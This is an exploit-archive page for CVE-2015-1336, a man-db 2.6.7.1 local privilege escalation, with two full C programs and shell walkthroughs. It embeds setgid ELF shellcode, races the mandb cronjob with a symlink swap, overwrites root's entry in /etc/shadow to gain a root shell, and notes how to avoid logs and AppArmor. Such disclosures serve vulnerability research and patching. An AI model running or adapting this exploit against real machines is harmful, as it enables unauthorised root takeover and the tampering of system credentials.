Twenty Year Anniversary

Man-db 2.6.7.1 Privilege Escalation

Man-db 2.6.7.1 Privilege Escalation
Posted Jan 27, 2017
Authored by halfdog

Man-db version 2.6.7.1 suffers from a privilege escalation vulnerability.

tags | exploit
advisories | CVE-2015-1336
MD5 | 23f5fea9cfaaa2a928d8b54c7cb5fc5d

Man-db 2.6.7.1 Privilege Escalation

Change Mirror Download
/*
EDB Note:
man:man -> man:root ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
man:root -> root:root ~ http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

CreateSetgidBinary.c ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
DirModifyInotify-20110530.c ~ http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c
*/




## man:man -> man:root

Setgid Binary Creater: The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in /var/cache/man would work but writing as user man will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple:
- Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately.
- Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform setresgid and execute a shell
- We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use basename of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work.
- I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes.
- The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice setrlimit(RLIMIT_FSIZE, ... system call.

Program Invocation: Following sequence can be used for testing:

```
root$ su -s /bin/bash man
man$ cd
man$ pwd
/var/cache/man
man$ ls -al /proc/self/
total 0
dr-xr-xr-x 9 man man 0 May 15 02:08 .
man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
Completed
man$ ls -al ./escalate
-rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate
man$ ./escalate /bin/sh
man$ ls -al /proc/self/
total 0
dr-xr-xr-x 9 man root 0 May 15 02:13 .
```


## man:root -> root:root

Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (/proc/sys/fs/protected_hardlinks set to 0), any root owned system file will do and chown will make it accessible to user man.
Without hardlink protection, user man one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed.

Even with hardlink protection, linking to file writable by user man is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files:

```
man# find / -mount -type f -perm -0002 2> /dev/null
/var/crash/.lock
man# ls -al /var/crash/.lock
-rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock
```



Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is available to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient:

```
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
```
If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there.

- - - - -

/* CreateSetgidBinary.c */
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};

int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}

char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;

int result=fork();
if(!result) {
struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);

dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
/* EOF */

- - - - -

/* DirModifyInotify-20110530.c */

/** This program waits for notify of file/directory to replace
* given directory with symlink.
* Parameters:
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
* Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --LinkTarget [path] --Verbose
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName;
char *symlinkTarget=NULL;

int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int ret;

if(argc<4) return(1);
inotifyHandle=inotify_init();

for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}

if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) exit(1);
symlinkTarget=argv[argPos];
continue;
}

if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) exit(1);
movePath=argv[argPos];
continue;
}

if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(ret==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}

if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) exit(1);
targetCallCount=atoi(argv[argPos]);
continue;
}

fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}

if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}

fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

for(callCount=0; ; callCount++) {
ret=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, ret %d, error %s\n",
callCount, ret, (ret<0?strerror(errno):NULL));
}
if(ret<0) {
break;
}
}
return(0);
}
/* EOF */

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

April 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    5 Files
  • 2
    Apr 2nd
    17 Files
  • 3
    Apr 3rd
    11 Files
  • 4
    Apr 4th
    21 Files
  • 5
    Apr 5th
    17 Files
  • 6
    Apr 6th
    12 Files
  • 7
    Apr 7th
    1 Files
  • 8
    Apr 8th
    6 Files
  • 9
    Apr 9th
    21 Files
  • 10
    Apr 10th
    18 Files
  • 11
    Apr 11th
    42 Files
  • 12
    Apr 12th
    7 Files
  • 13
    Apr 13th
    14 Files
  • 14
    Apr 14th
    1 Files
  • 15
    Apr 15th
    1 Files
  • 16
    Apr 16th
    15 Files
  • 17
    Apr 17th
    20 Files
  • 18
    Apr 18th
    24 Files
  • 19
    Apr 19th
    20 Files
  • 20
    Apr 20th
    7 Files
  • 21
    Apr 21st
    10 Files
  • 22
    Apr 22nd
    2 Files
  • 23
    Apr 23rd
    17 Files
  • 24
    Apr 24th
    36 Files
  • 25
    Apr 25th
    15 Files
  • 26
    Apr 26th
    31 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close